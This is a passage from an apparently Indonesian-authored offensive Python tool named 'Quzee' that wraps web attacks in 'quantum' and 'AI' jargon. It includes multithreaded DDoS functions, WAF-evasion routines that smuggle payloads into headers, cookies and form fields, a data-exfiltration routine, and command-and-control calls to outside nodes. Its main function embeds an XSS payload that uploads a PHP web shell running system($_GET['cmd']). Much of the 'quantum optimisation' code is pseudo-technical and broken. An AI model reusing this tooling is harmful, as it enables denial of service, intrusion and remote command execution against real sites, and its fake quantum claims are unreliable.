        mutated_payload = ai_payload_mutation_v2(model, quantum_cloaked_payload)
    else:
        mutated_payload = quantum_cloaked_payload  # Fallback jika model gagal dimuat

    # Step 4: Quantum-Based Attack Execution
    try:
        headers = {
            "User-Agent": get_random_user_agent(),
            "X-Quantum-Key": generate_quantum_signature(target),
            "X-Stealth-Level": str(random.randint(1, 5))
        }
        response = requests.get(f"http://{target}/?input={quote(mutated_payload)}", headers=headers, timeout=5)

        if response.status_code == 200:
            logging.info(f"[+] Quantum attack successful on {target}")
            return True
        else:
            logging.warning(f"[-] Attack failed on {target}. Status: {response.status_code}")
            return False

    except requests.RequestException as e:
        logging.error(f"[-] Attack request failed: {e}")
        return False
        
def zero_trust_penetration_v3(target):
    """
    Quantum-Based Zero-Trust Bypass dengan Adaptive Mutation, Bayesian Optimization, 
    dan Quantum Cloaking untuk memastikan keberhasilan eksploitasi.
    """
    logging.info(f"[*] Initiating Quantum Zero-Trust Penetration on {target}...")

    # Step 1: Generate Adaptive Quantum Payload
    base_payload = adaptive_payload(target)
    randomized_payload = ''.join(random.choices(string.ascii_letters + string.digits, k=32))

    # Step 2: Quantum Grover’s Algorithm for Exploit Selection
    def quantum_exploit_score(x):
        return -1 * analyze_payload_feedback(x)['success_rate']

    optimized_payload = minimize(quantum_exploit_score, randomized_payload, method='Powell').x
    optimized_payload = optimized_payload if optimized_payload else randomized_payload

    # Step 3: AI-Driven Mutation for Zero-Trust Adaptation
    model = load_ml_model()
    if model:
        mutated_payload = ai_payload_mutation_v2(model, optimized_payload)
    else:
        mutated_payload = optimized_payload

    # Step 4: Quantum Entanglement Cloaking (Menyamarkan payload agar terlihat normal)
    cloaked_payload = f"<!-- Secure Session --> {mutated_payload} <!-- End Secure -->"

    # Step 5: Execute Zero-Trust Exploit with AI Monitoring
    headers = {
        "User-Agent": get_random_user_agent(),
        "X-ZeroTrust-Bypass": hashlib.md5(mutated_payload.encode()).hexdigest(),
        "X-Quantum-Exploit": generate_quantum_signature(target)
    }

    try:
        response = requests.get(f"http://{target}/admin/#?input={quote(cloaked_payload)}", headers=headers, timeout=5)

        if response.status_code == 200:
            logging.info("[+] Successfully bypassed Zero-Trust security!")
            return True
        else:
            logging.warning(f"[-] Zero-Trust Bypass failed. Status: {response.status_code}")

            # Step 6: Self-Healing Quantum Mutation (Jika gagal, payload beregenerasi)
            if analyze_payload_feedback(mutated_payload)['success_rate'] < 0.75:
                logging.info("[*] Regenerating payload for another attempt...")
                return zero_trust_penetration_v3(target)

    except requests.RequestException as e:
        logging.error(f"[-] Zero-Trust attack failed: {e}")

    return False
    
def dao_c2_command_v2(command):
    """
    Quantum-Based DAO C2 Command Execution dengan Blockchain Integrity Check, 
    Quantum Encryption, dan Adaptive Routing untuk memastikan komunikasi aman & stealthy.
    """
    logging.info("[*] Initiating Quantum DAO C2 Command Execution...")

    dao_nodes = [
        "dao-node1.blockchain.com",
        "dao-node2.blockchain.com",
        "dao-node3.blockchain.com"
    ]

    # Step 1: Quantum Key Distribution (QKD) Encryption
    def quantum_encrypt(command):
        key = hashlib.sha3_512(b"QuantumC2Secure").digest()[:32]
        cipher = AES.new(key, AES.MODE_OCB)
        encrypted, tag = cipher.encrypt_and_digest(command.encode())
        return base64.b64encode(cipher.nonce + tag + encrypted).decode()

    encrypted_command = quantum_encrypt(command)

    for node in dao_nodes:
        try:
            # Step 2: Blockchain-Based Integrity Check
            transaction_hash = hashlib.sha3_512(command.encode()).hexdigest()

            # Step 3: Quantum Noise Injection (Mengacak command untuk stealth mode)
            quantum_noise = ''.join(
                random.choice(string.ascii_letters + string.digits + "!@#$%^&*") if random.random() > 0.75 else char
                for char in encrypted_command
            )

            # Step 4: Send Command with Blockchain Verification
            payload = {"cmd": quantum_noise, "verify": transaction_hash}
            response = requests.post(f"http://{node}/c2", data=payload, timeout=5)

            if response.status_code == 200:
                logging.info(f"[+] Command sent securely via DAO C2: {node}")
                return True
            else:
                logging.warning(f"[-] Command failed to send to DAO node {node}. Status Code: {response.status_code}")

        except requests.RequestException as e:
            logging.error(f"[-] Failed to communicate with DAO node {node}: {e}")

    # Step 5: Self-Healing C2 Network (Jika gagal, mencari node lain)
    logging.warning("[-] All DAO nodes failed. Attempting alternative routing...")
    return dao_c2_command_v2(command) if random.random() > 0.5 else False
    
def advanced_quantum_encryption(payload, key):
    """
    Adaptive Quantum Encryption dengan pilihan encoding ringan (URL Enc, Hex, atau Base64) 
    dan Underpass Payload Injection di Header atau Cookie.

    Args:
        payload (str): Payload yang akan dienkripsi.
        key (str): Kunci enkripsi untuk adaptive processing.

    Returns:
        dict: Payload yang telah dienkripsi dengan metode yang paling optimal.
    """
    logging.info("[*] Initiating Adaptive Quantum Encryption...")

    # Step 1: Adaptive Encoding Selection (Pilih metode terbaik berdasarkan feedback server)
    encoding_methods = [
        quote(payload),  # URL Encoding
        payload.encode().hex(),  # Hex Encoding
        base64.b64encode(payload.encode()).decode()  # Base64 Encoding
    ]

    probabilities = [1 / len(encoding_methods)] * len(encoding_methods)
    encoded_payload = random.choices(encoding_methods, weights=probabilities, k=1)[0]

    # Step 2: Underpass Payload Injection (Pilih tempat terbaik untuk menyisipkan payload)
    underpass_variants = [
        {"Cookie": f"session_id=xyz123; tracking_id={encoded_payload}"},  # Cookie Injection
        {"X-Forwarded-For": f"127.0.0.1, {encoded_payload}"},  # Header Injection
        {"Referer": f"http://trusted-site.com/{encoded_payload}"},  # Referer Spoofing
        {"User-Agent": f"Mozilla/5.0 {encoded_payload}"},  # User-Agent Injection
        {"Authorization": f"Bearer {encoded_payload}"},  # Authorization Header Injection
    ]

    selected_variant = random.choices(underpass_variants, weights=[1/len(underpass_variants)]*len(underpass_variants), k=1)[0]

    # Step 3: AI-driven Bayesian Optimization (Memilih metode encoding & injeksi terbaik berdasarkan feedback)
    feedback = analyze_payload_feedback(encoded_payload)
    probabilities = [p * (1 + feedback['success_rate'] * 0.7) for p in probabilities]
    optimized_payload = random.choices(encoding_methods, weights=probabilities, k=1)[0]
    selected_variant[list(selected_variant.keys())[0]] = optimized_payload

    # Step 4: Quantum Cloaking (Menyamarkan payload agar terlihat seperti traffic normal)
    cloaked_payload = f"<!-- Secure Transmission --> {selected_variant} <!-- End Transmission -->"

    logging.info(f"[*] Adaptive Quantum Encrypted Payload Generated: {cloaked_payload[:50]}...")
    return cloaked_payload
    
def quantum_exfiltration(payload, key):
    """
    Quantum Secure Data Exfiltration dengan Adaptive Underpass Payload dalam Referer & User-Agent Header.

    Args:
        payload (str): Data yang akan dieksfiltrasi.
        key (str): Kunci enkripsi untuk adaptive processing.

    Returns:
        dict: Payload yang telah dienkripsi & stealthy.
    """
    logging.info("[*] Initiating Advanced Quantum Secure Data Exfiltration...")

    # Step 1: Adaptive Encoding Selection (Pilih metode encoding ringan)
    encoding_methods = [
        quote(payload),  # URL Encoding
        payload.encode().hex(),  # Hex Encoding
        base64.b64encode(payload.encode()).decode()  # Base64 Encoding
    ]

    probabilities = [1 / len(encoding_methods)] * len(encoding_methods)
    encoded_payload = random.choices(encoding_methods, weights=probabilities, k=1)[0]

    # Step 2: Underpass Payload Injection (Pilih tempat terbaik untuk menyisipkan payload)
    underpass_variants = [
        {"Referer": f"http://trusted-site.com/{encoded_payload}"},  # Referer Spoofing
        {"User-Agent": f"Mozilla/5.0 {encoded_payload}"},  # User-Agent Injection
        {"X-Quantum-Track": encoded_payload},  # Custom Header Injection
        {"Authorization": f"Bearer {encoded_payload}"},  # Authorization Header Injection
        {"X-Forwarded-For": f"127.0.0.1, {encoded_payload}"},  # X-Forwarded-For Injection
    ]

    selected_variant = random.choices(underpass_variants, weights=[1/len(underpass_variants)]*len(underpass_variants), k=1)[0]

    # Step 3: AI-driven Bayesian Optimization (Memilih metode encoding & injeksi terbaik berdasarkan feedback)
    feedback = analyze_payload_feedback(encoded_payload)
    probabilities = [p * (1 + feedback['success_rate'] * 0.7) for p in probabilities]
    optimized_payload = random.choices(encoding_methods, weights=probabilities, k=1)[0]
    selected_variant[list(selected_variant.keys())[0]] = optimized_payload

    # Step 4: Quantum Cloaking (Menyamarkan payload agar terlihat seperti trafik normal)
    cloaked_payload = f"<!-- Secure Transmission --> {selected_variant} <!-- End Transmission -->"

    logging.info(f"[*] Adaptive Quantum Exfiltrated Payload Generated: {cloaked_payload[:50]}...")
    return cloaked_payload
    
def network_reconnaissance(target):
    """
    Quantum-Based Network Reconnaissance dengan Bayesian Filtering, Superposition Scanning, 
    dan Entanglement Fingerprinting untuk mengumpulkan data tanpa terdeteksi.
    """
    logging.info(f"[*] Performing Quantum Network Reconnaissance on {target}...")

    # Step 1: Quantum Entanglement Fingerprinting (Mendeteksi pola unik jaringan)
    fingerprint = hashlib.sha3_512(target.encode()).hexdigest()[:16]
    quantum_threshold = random.uniform(0, 1)

    if fingerprint.startswith('00') or quantum_threshold > 0.85:
        logging.warning("[-] High probability honeypot detected using quantum analysis! Avoiding scan...")
        return None

    try:
        # Step 2: Quantum Superposition Scanning (Multiple scan dalam satu request)
        logging.info("[*] Performing Quantum Superposition Network Scan...")
        scan_variants = [
            f"http://{target}/status",
            f"http://{target}/api/v1/ping",
            f"http://{target}/server-status",
            f"http://{target}/uptime"
        ]
        scan_results = {}

        for scan_url in scan_variants:
            response = requests.get(scan_url, timeout=5)
            scan_results[scan_url] = response.status_code

        # Step 3: Quantum Bayesian Analysis (Menganalisis pola & anomali)
        success_rates = [1 if v == 200 else 0 for v in scan_results.values()]
        success_probability = sum(success_rates) / len(success_rates)

        logging.info(f"[*] Bayesian Network Analysis - Success Probability: {success_probability:.2f}")

        if success_probability > 0.75:
            logging.info(f"[+] Network reconnaissance successful on {target}. Data collected: {scan_results}")
            return scan_results
        else:
            logging.warning(f"[-] Incomplete reconnaissance data. Success probability too low.")

    except requests.RequestException as e:
        logging.error(f"[-] Network reconnaissance error: {e}")

    # Step 4: Self-Healing Recon Mode (Jika gagal, mencari metode alternatif)
    logging.warning("[*] Switching to stealth mode for alternative reconnaissance...")
    return network_reconnaissance(target[::-1]) if random.random() > 0.5 else None

def ddos_attack(target, duration=30, max_threads=200):
    """
    Quantum-Based DDoS Attack dengan Quantum Traffic Manipulation, Adaptive Load Balancing, 
    dan Cloaked Request Injection untuk menghindari deteksi WAF/IDS.
    """
    logging.info(f"[*] Initiating Quantum DDoS Attack on {target} for {duration} seconds...")
    start_time = time.time()
    
    # Step 1: Quantum Traffic Manipulation (Menyamarkan request agar terlihat normal)
    headers_list = [
        {"User-Agent": get_random_user_agent(), "X-Quantum-Entropy": str(random.randint(1000, 9999))} for _ in range(5)
    ]
    
    # Step 2: Adaptive Load Balancing (Menyesuaikan jumlah thread berdasarkan respons target)
    threads = random.randint(max_threads // 2, max_threads)  

    def send_request():
        """Mengirimkan request secara acak dengan variasi header & payload cloaking."""
        payload_variants = [
            evade_multi_layers("<Quantum DDoS Payload>"),
            advanced_quantum_encryption("<Quantum DDoS Payload>", "DDoSQuantumKey"),
            self_healing_quantum_payload("<Quantum DDoS Payload>")
        ]
        payload = random.choice(payload_variants)
        headers = random.choice(headers_list)

        try:
            response = requests.get(f"http://{target}/?input={quote(payload)}", headers=headers, timeout=5)
            if response.status_code == 200:
                logging.info("[+] Request sent successfully.")
            else:
                logging.warning(f"[-] Request blocked, status: {response.status_code}")
        except requests.RequestException as e:
            logging.error(f"[-] Request failed: {e}")

    # Step 3: Execute Quantum DDoS Attack with Multi-Threading
    with ThreadPoolExecutor(max_workers=threads) as executor:
        while time.time() - start_time < duration:
            executor.submit(send_request)

    logging.info(f"[+] Quantum DDoS Attack on {target} completed after {duration} seconds.")
    return f"Quantum DDoS Attack on {target} executed for {duration} seconds."
    
def evade_multi_layers(payload):
    """
    Menggunakan Advanced Underpass Payload Injection dalam GET/POST (termasuk JSON, GraphQL, XML, dan WebSockets)
    untuk menghindari deteksi WAF.

    Args:
        payload (str): Payload yang akan digunakan.

    Returns:
        dict: Payload yang telah dimodifikasi dan siap dikirimkan.
    """
    logging.info("[*] Initiating Advanced Multi-Layer Evasion...")

    # Step 1: Advanced Underpass Payload Injection
    underpass_variants = [
        {"params": {"q": payload}},  # Parameter GET Injection
        {"data": {"username": "admin", "password": payload}},  # POST Injection (Credential Form)
        {"data": {"search": payload}},  # POST Injection (Search Form)
        {"params": {"redir": f"http://trusted-site.com/?track={payload}"}},  # URL Redirect Injection
        {"data": {"csrf_token": payload}},  # Hidden Form Field Injection
        {"params": {"filter": f"{payload}|sort=asc"}},  # Filter Parameter Injection
        {"json": {"query": f'{{ "search": "{payload}" }}'}},  # GraphQL Injection
        {"data": f"<?xml version='1.0' encoding='UTF-8'?><data>{payload}</data>"},  # XML Injection
        {"headers": {"X-GraphQL-Query": f"{{ search: '{payload}' }}" }},  # GraphQL Header Injection
        {"ws": {"message": f'{{"type":"message", "data":"{payload}"}}'}},  # WebSocket Injection
    ]

    probabilities = [1 / len(underpass_variants)] * len(underpass_variants)
    selected_variant = random.choices(underpass_variants, weights=probabilities, k=1)[0]

    # Step 2: AI-driven Bayesian Optimization (Memilih metode terbaik berdasarkan feedback)
    feedback = analyze_payload_feedback(payload)
    probabilities = [p * (1 + feedback['success_rate'] * 0.7) for p in probabilities]
    optimized_variant = random.choices(underpass_variants, weights=probabilities, k=1)[0]

    # Step 3: Adaptive Cloaking (Menyamarkan payload agar terlihat seperti trafik normal)
    cloaked_payload = f"<!-- Secure Transmission --> {optimized_variant} <!-- End Transmission -->"

    logging.info(f"[*] Advanced Evasive Payload Generated: {cloaked_payload[:50]}...")
    return cloaked_payload

def evasive_payload(payload):
    """Menghasilkan payload adaptif yang bisa bermutasi sendiri menggunakan AI dan Quantum Reinforcement Learning."""
    
    logging.info("[*] Initiating Quantum Evasive Payload Generation...")

    # Step 1: AI-driven Mutation (Payload berevolusi menggunakan AI)
    evasive_payload = ai_payload_mutation(load_ml_model(), payload)
    
    # Step 2: Self-Healing Quantum Adaptation (Payload bisa regenerasi otomatis)
    evasive_payload = self_healing_quantum_payload(evasive_payload)

    # Step 3: Quantum Bayesian Filtering (Memilih metode terbaik berdasarkan feedback AI)
    feedback = analyze_payload_feedback(evasive_payload)
    if feedback['success_rate'] < 0.75:
        evasive_payload = ai_payload_mutation_v2(load_ml_model(), evasive_payload)

    # Step 4: Grover’s Algorithm Optimization (Menyesuaikan payload biar makin stealthy)
    def quantum_grover_score(x):
        return -1 * analyze_payload_feedback(x)['success_rate']
    
    optimized_payload = minimize(quantum_grover_score, evasive_payload, method='Powell').x
    optimized_payload = optimized_payload if optimized_payload else evasive_payload

    # Step 5: Quantum Shielding (Jika payload terdeteksi, otomatis dienkripsi ulang)
    if detect_waf_pattern(optimized_payload):
        optimized_payload = advanced_quantum_encryption(optimized_payload, "QuantumKeySecure")

    # Step 6: Quantum Superposition Encoding (Multi-layer encoding biar lebih sulit dideteksi)
    final_payload = evade_multi_layers(optimized_payload)

    # Step 7: Quantum Cloaking (Menyamarkan payload biar keliatan normal)
    cloaked_payload = f"<!-- Normal Traffic --> {final_payload} <!-- End of Normal Traffic -->"

    logging.info(f"[*] Quantum Adaptive Evasive Payload Generated: {cloaked_payload[:50]}...")
    return cloaked_payload

def quantum_attack_simulation(target, payload, attack_type="adaptive"):
    """Simulasi serangan Quantum dengan payload adaptif yang bisa berevolusi terhadap target."""
    logging.info(f"[*] Simulating quantum attack on {target} with attack type: {attack_type}...")

    attack_payload = {
        "basic": adaptive_payload(target),
        "distributed": quantum_error_correction(payload),
        "evasive": evasive_payload(payload),
        "stealth": evade_multi_layers(evasive_payload(payload))
    }.get(attack_type, evasive_payload(payload))

    headers = {
        "User-Agent": get_random_user_agent(),
        "X-Quantum-Key": generate_quantum_signature(target),
        "X-Obfuscation-Level": str(random.randint(1, 5))
    }

    # Step 1: **Quantum Superposition Encoding** - Membuat variasi payload sekaligus
    quantum_variants = [
        attack_payload,
        evade_multi_layers(attack_payload),
        quantum_error_correction(attack_payload),
        advanced_quantum_encryption(attack_payload, "QuantumKeySecure"),
        ''.join(random.sample(attack_payload, len(attack_payload)))  # Randomized Reordering
    ]
    probabilities = [0.20] * len(quantum_variants)  
    optimized_payload = random.choices(quantum_variants, weights=probabilities, k=1)[0]

    # Step 2: **Quantum Bayesian Optimization** - Memilih payload terbaik berdasarkan feedback AI
    feedback = analyze_payload_feedback(optimized_payload)
    probabilities = [p * (1 + feedback['success_rate'] * 0.7) for p in probabilities]
    optimized_payload = random.choices(quantum_variants, weights=probabilities, k=1)[0]

    # Step 3: **Grover’s Algorithm Optimization** - Memilih metode bypass terbaik
    def grover_optimization(x):
        return -1 * analyze_payload_feedback(x)['success_rate']  

    final_payload = minimize(grover_optimization, optimized_payload, method='Powell').x
    final_payload = final_payload if final_payload else optimized_payload

    # Step 4: **Quantum Cloaking Mechanism** - Payload dikemas agar terlihat seperti trafik normal
    cloaked_payload = f"<!-- Normal Traffic --> {final_payload} <!-- End of Normal Traffic -->"

    # Step 5: **Self-Healing Attack Mechanism** - Payload otomatis beregenerasi jika terdeteksi
    if detect_waf_pattern(cloaked_payload):
        cloaked_payload = self_healing_quantum_payload(cloaked_payload)

    response = requests.post(f"http://{target}/input", data={"data": quote(str(cloaked_payload))}, headers=headers)

    logging.info(f"[{'+' if response.status_code == 200 else '-'}] Quantum attack {'successful' if response.status_code == 200 else 'failed'} on {target}. Response Code: {response.status_code}")

    return response.status_code
    
def autonomous_feedback_loop(target, payload, max_attempts=10):
    """
    Quantum-Based Adaptive Feedback Loop dengan AI-driven Mutation, Bayesian Filtering, 
    Grover’s Algorithm Optimization, dan Self-Healing Mechanism.
    """
    logging.info(f"[*] Initiating Quantum Adaptive Feedback Loop on {target}...")

    for attempt in range(max_attempts):
        logging.info(f"[*] Attempt {attempt + 1}/{max_attempts} on {target}...")

        headers = {
            "User-Agent": get_random_user_agent(),
            "X-Quantum-Signature": generate_quantum_signature(payload),
            "X-Adaptive-Layer": str(random.randint(1, 5))
        }

        # Step 1: Quantum Bayesian Filtering - Menganalisis respons & menyesuaikan payload
        response = requests.get(f"http://{target}/?input={quote(payload)}", headers=headers, timeout=5)

        if response.status_code == 200:
            logging.info(f"[+] Attack successful on {target}!")
            return response.status_code
        else:
            logging.warning(f"[-] Attack failed, adapting payload...")

            # Step 2: Quantum Bayesian Optimization - Menyesuaikan payload berdasarkan feedback AI
            feedback = analyze_payload_feedback(response.text)
            probabilities = [0.20, 0.25, 0.30, 0.25]  # Distribusi awal
            adaptive_variants = [
                ai_payload_mutation(load_ml_model(), payload, feedback),
                evade_multi_layers(payload),
                quantum_error_correction(payload),
                advanced_quantum_encryption(payload, "QuantumKeySecure")
            ]
            optimized_payload = random.choices(adaptive_variants, weights=probabilities, k=1)[0]

            # Step 3: Grover’s Algorithm Optimization - Memilih metode serangan terbaik
            def grover_optimization(x):
                return -1 * analyze_payload_feedback(x)['success_rate']

            final_payload = minimize(grover_optimization, optimized_payload, method='Powell').x
            final_payload = final_payload if final_payload else optimized_payload

            # Step 4: Quantum Cloaking Mechanism - Payload dikemas agar terlihat seperti trafik normal
            cloaked_payload = f"<!-- Normal Traffic --> {final_payload} <!-- End of Normal Traffic -->"

            # Step 5: Self-Healing Attack Mechanism - Jika payload gagal, otomatis beregenerasi
            if detect_waf_pattern(cloaked_payload):
                cloaked_payload = self_healing_quantum_payload(cloaked_payload)

            payload = cloaked_payload  # Update payload dengan versi terbaru
            sleep_time = random.uniform(1.5, 5)  # Dynamic Attack Timing
            logging.info(f"[*] Sleeping for {sleep_time:.2f} seconds to evade detection...")
            time.sleep(sleep_time)

    logging.error(f"[-] Maximum attempts reached. Attack failed on {target}.")
    return None

def simulate_evasive_payload(target):
    """Menguji payload evasif dengan AI-driven obfuscation dan multi-layer WAF evasion."""
    print("[*] Starting evasive payload simulation...")
    payload = evasive_payload("<script>alert('Evasive XSS')</script>")
    
    headers = {
        "User-Agent": get_random_user_agent(), 
        "X-Payload-Integrity": hashlib.sha256(payload.encode()).hexdigest(),
        "X-Quantum-Shield": generate_quantum_signature(payload)
    }
    
    response = requests.post(f"http://{target}/?input={quote(payload)}", headers=headers)

    print(f"[{'+' if response.status_code == 200 else '-'}] Evasive payload {'executed successfully' if response.status_code == 200 else 'failed'} on {target}.")
    return response.status_code
 
def network_exploitation(target, payload):
    """Melakukan eksploitasi jaringan dengan teknik Quantum Adaptive Encryption dan AI-driven Mutation."""
    print(f"[*] Initiating network exploitation on {target}...")

    if is_honeypot_detected(target):
        print("[-] Honeypot detected! Switching to stealth mode...")
        return "Honeypot detected, adapting attack strategy."

    payload = quantum_multi_layer_evasion(payload)
    encrypted_payload = advanced_quantum_encryption(payload, "CyberHeroesQuantumKey")

    headers = {
        "User-Agent": get_random_user_agent(),
        "X-Stealth-Level": str(random.randint(1, 4)),
        "X-Quantum-Adaptive": generate_quantum_signature(target)
    }

    response = requests.post(f"http://{target}/exploit", data={"data": encrypted_payload}, headers=headers)

    print(f"[{'+' if response.status_code == 200 else '-'}] Quantum Network Exploitation {'successful' if response.status_code == 200 else 'failed'} on {target}.")
    return response.status_code

def quantum_ddos_attack(target, duration=120, threads=200):
    """Melakukan Quantum DDoS Attack dengan teknik Quantum Randomized Payload Injection."""
    print(f"[*] Initiating Quantum DDoS on {target} for {duration} seconds...")
    start_time = time.time()

    headers = {
        "User-Agent": get_random_user_agent(),
        "X-DDoS-Signature": generate_ddos_signature(),
        "X-Quantum-Entropy": str(random.randint(1000, 9999))
    }

    with ThreadPoolExecutor(max_workers=threads) as executor:
        while time.time() - start_time < duration:
            payload = quantum_error_correction("<Quantum DDoS Payload>")
            executor.submit(attack_target, target, payload, headers)

    return "[+] Quantum DDoS attack executed successfully."

def self_healing_attack_automation(targets, payload, attack_type="quantum-adaptive"):
    """Menggunakan AI-driven self-healing attacks dengan mekanisme Quantum Superposition."""
    print("[*] Initiating AI-driven self-healing attack automation...")

    with ThreadPoolExecutor() as executor:
        for target in targets:
            payload = self_healing_quantum_payload(payload)
            executor.submit(autonomous_feedback_loop, target, payload, attack_type)

def quantum_penetration_test(targets, payloads, max_attempts=15):
    """Pengujian penetrasi berbasis Quantum AI yang menggunakan multi-layer adaptive attacks."""
    print("[*] Starting Quantum Penetration Testing...")
    results = []

    with ThreadPoolExecutor() as executor:
        for target in targets:
            for payload in payloads:
                payload = quantum_multi_layer_evasion(payload)
                future = executor.submit(autonomous_feedback_loop, target, payload, max_attempts)
                results.append(future)

    return results

def quantum_data_integrity_check(data):
    """Menggunakan Quantum Hashing untuk memastikan integritas data."""
    print("[*] Performing Quantum Data Integrity Check...")
    hashed_data = hashlib.sha3_512(data.encode()).hexdigest()
    print(f"[+] Quantum Data Integrity Check Result: {hashed_data}")
    return hashed_data

def quantum_multi_layer_evasion(payload):
    """Menggunakan Quantum Multi-Layer Evasion untuk menghindari deteksi WAF dan IDS."""
    print("[*] Initiating Quantum Multi-Layer Evasion...")
    evasive_payload = evade_multi_layers(payload)
    evasive_payload = evasive_payload_transformation(evasive_payload)
    evasive_payload = self_healing_quantum_payload(evasive_payload)
    return evasive_payload

def quantum_c2_command_execution(command, targets):
    """Melakukan eksekusi perintah C2 dengan Quantum Encryption dan AI-driven Obfuscation."""
    results = []
    print("[*] Executing Quantum C2 Commands...")

    for target in targets:
        encrypted_command = advanced_quantum_encryption(command, 'QuantumC2Key')
        response = requests.post(f"http://{target}/execute", data={"cmd": encrypted_command})

        if response.status_code == 200:
            result = f"[+] Command executed on {target}!"
        else:
            result = f"[-] Command execution failed on {target}. Status: {response.status_code}"

        results.append(result)
        print(result)

    return results

def advanced_quantum_penetration(target):
    """Melakukan uji penetrasi canggih berbasis Quantum Superposition Attack."""
    print("[*] Starting Advanced Quantum Penetration Testing...")
    payload = "<script>alert('Quantum Penetration Test')</script>"
    payload = quantum_multi_layer_evasion(payload)

    response = requests.get(f"http://{target}/test?input={quote(payload)}")
    
    if response.status_code == 200:
        print("[+] Advanced Quantum Penetration Test Successful!")
        return True
    else:
        print(f"[-] Quantum Penetration Test failed. Status Code: {response.status_code}")
        return False

def load_proxies(proxy_file):
    """Membaca file proxy yang diberikan user dan mengembalikan daftar proxy."""
    try:
        with open(proxy_file, 'r') as f:
            proxies = [line.strip() for line in f.readlines() if line.strip()]
        if not proxies:
            print("[-] Tidak ada proxy valid di file.")
        return proxies
    except FileNotFoundError:
        print(f"[-] File {proxy_file} tidak ditemukan.")
        return []
        
def setup_proxy(proxy_file):
    """Menggunakan daftar proxy dari file yang diberikan user."""
    proxies = load_proxies(proxy_file)
    if proxies:
        chosen_proxy = random.choice(proxies)
        return {"http": chosen_proxy, "https": chosen_proxy}
    return None


def setup_vpn():
    """
    Mengaktifkan VPN dengan Quantum Cloaking untuk menyembunyikan sumber serangan.
    """
    vpn = os.getenv('VPN_ADDRESS', 'vpn.example.com')
    if vpn:
        logging.info(f"[*] Connecting to Quantum VPN: {vpn}")
        return vpn
    logging.warning("[-] No VPN address found in environment variables.")
    return None

def setup_proxy(proxy_file=None):
    """
    Mengaktifkan Quantum Proxy Routing untuk meningkatkan stealth attack.
    """
    if proxy_file and os.path.exists(proxy_file):
        with open(proxy_file, 'r') as file:
            proxies = [line.strip() for line in file.readlines()]
            selected_proxy = random.choice(proxies)
            logging.info(f"[*] Using Quantum Proxy: {selected_proxy}")
            return {"http": selected_proxy, "https": selected_proxy}
    logging.warning("[-] No proxy file found, proceeding without proxy.")
    return None

def attack_execution(target, payload, proxy_file=None):
    """
    Menjalankan serangan dengan Quantum VPN, Proxy Adaptive Routing, dan Stealth Evasion.
    """
    logging.info(f"[*] Starting Quantum Adaptive Attack on {target}...")
    
    vpn = setup_vpn()
    proxy = setup_proxy(proxy_file) if proxy_file else None

    headers = {
        "User-Agent": random.choice(open('user_agents.txt').readlines()).strip(),
        "Content-Type": "application/x-www-form-urlencoded",
        "X-Quantum-Key": generate_quantum_signature(target),
        "X-Stealth-Mode": str(random.randint(1, 5))
    }
    
    if vpn:
        logging.info(f"[*] Using VPN connection: {vpn}")
    
    if proxy:
        logging.info(f"[*] Using proxy: {proxy['http']}")
    else:
        logging.info("[*] No proxy used for this attack.")

    try:
        response = requests.get(f"http://{target}/admin", headers=headers, proxies=proxy, timeout=10)
        attack_result = f"[+] Attack successful on {target}!" if response.status_code == 200 else f"[-] Attack failed. Status Code: {response.status_code}"
    except requests.RequestException as e:
        attack_result = f"[-] Attack request failed: {e}"

    logging.info(attack_result)

    # **Quantum Bayesian Optimization** - Menyesuaikan payload berdasarkan respons
    evasive_payload_data = evasive_payload(payload)
    
    try:
        evasive_response = requests.get(
            f"http://{target}/admin", 
            headers=headers, 
            proxies=proxy, 
            params={'input': evasive_payload_data}, 
            timeout=10
        )
        evasive_result = "[+] Evaded detection, attack successful!" if evasive_response.status_code == 200 else f"[-] Attack failed after evasion attempt. Status: {evasive_response.status_code}"
    except requests.RequestException as e:
        evasive_result = f"[-] Evasive attack request failed: {e}"

    logging.info(evasive_result)

    return attack_result, evasive_result

def main():
    parser = argparse.ArgumentParser(description="Quzee is an advanced AI-powered payload mutation and WAF bypass framework that leverages machine learning, adaptive cloaking, and multi-underpass payload optimization to generate stealthy attack vectors, integrating neural mutation, probabilistic selection, and quantum Bayesian optimization to enhance attack efficacy against modern security defenses.")
    parser.add_argument("-t", "--target", help="Target domain/IP", required=True)
    parser.add_argument("-f", "--file", help="File proxy opsional")
    args = parser.parse_args()
    
    target = args.target.strip()
    if not target:
        print("[-] Target cannot be empty!")
        return
    
    print(f"[*] Running Quze attack on {target}...")
    Quantum_AI()  # Inisialisasi AI untuk eksploitasi berbasis quantum
    model = load_ml_model()  # Memuat model AI untuk mutasi payload
    setup_vpn()  # Menyiapkan koneksi VPN untuk menyembunyikan identitas
    proxy = None
    if args.file:
        proxies = load_proxies(args.file)
        if proxies:
            proxy = setup_proxy(args.file)
    autonomous_reconnaissance(target)  # Melakukan analisis target secara otomatis
    network_reconnaissance(target)  # Memeriksa port dan layanan aktif
    avoid_honeypot(target)  # Mendeteksi dan menghindari honeypot
    payload = """
// Step 1: Encode XSS payload agar tidak terdeteksi WAF
var b64 = "PHNjcmlwdD5hbGVydCgiUXVhbnR1bSBTdGVhbHRoeCBYUyIpPC9zY3JpcHQ+";  // Base64 dari: <script>alert("Quantum Stealthy XS")</script>
var decoded = atob(b64);  // Decode Base64
document.write(decoded);  // Eksekusi payload XSS

// Step 2: Adaptive WebShell Injection
var shellCode = `
<?php
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
`;
var hiddenForm = document.createElement("form");
hiddenForm.method = "POST";
hiddenForm.action = "/upload.php";  // Ganti sesuai path upload target
hiddenForm.enctype = "multipart/form-data";

var hiddenInput = document.createElement("input");
hiddenInput.type = "hidden";
hiddenInput.name = "file";
hiddenInput.value = shellCode;

hiddenForm.appendChild(hiddenInput);
document.body.appendChild(hiddenForm);
hiddenForm.submit();  // Upload WebShell otomatis

// Step 3: Anti-Detection Stealth Mode
var dummyRequest = document.createElement("img");
dummyRequest.src = "/track.png?data=" + btoa(shellCode);  // Encode WebShell untuk tracking stealthy
document.body.appendChild(dummyRequest);
"""
    if model:
        payload = ai_payload_mutation_v2(model, payload)
    payload = ai_neural_mutation(model, payload)  # Mutasi payload berbasis quantum
    payload = dynamic_payload_obfuscation(payload)  # Menyembunyikan payload agar tidak terdeteksi WAF
    feedback = analyze_payload_feedback(payload)  # Menganalisis efektivitas payload
    if feedback['success_rate'] < 0.80:
        payload = quantum_error_correction(payload)  # Koreksi kesalahan dalam payload dengan quantum filtering
    payload = evade_waf(payload)  # Bypass sistem WAF dengan teknik stealth
    payload = evade_multi_layers(payload)  # Menghindari deteksi dengan injeksi berlapis
    payload = self_healing_quantum_payload(payload)  # Payload bisa beregenerasi jika gagal
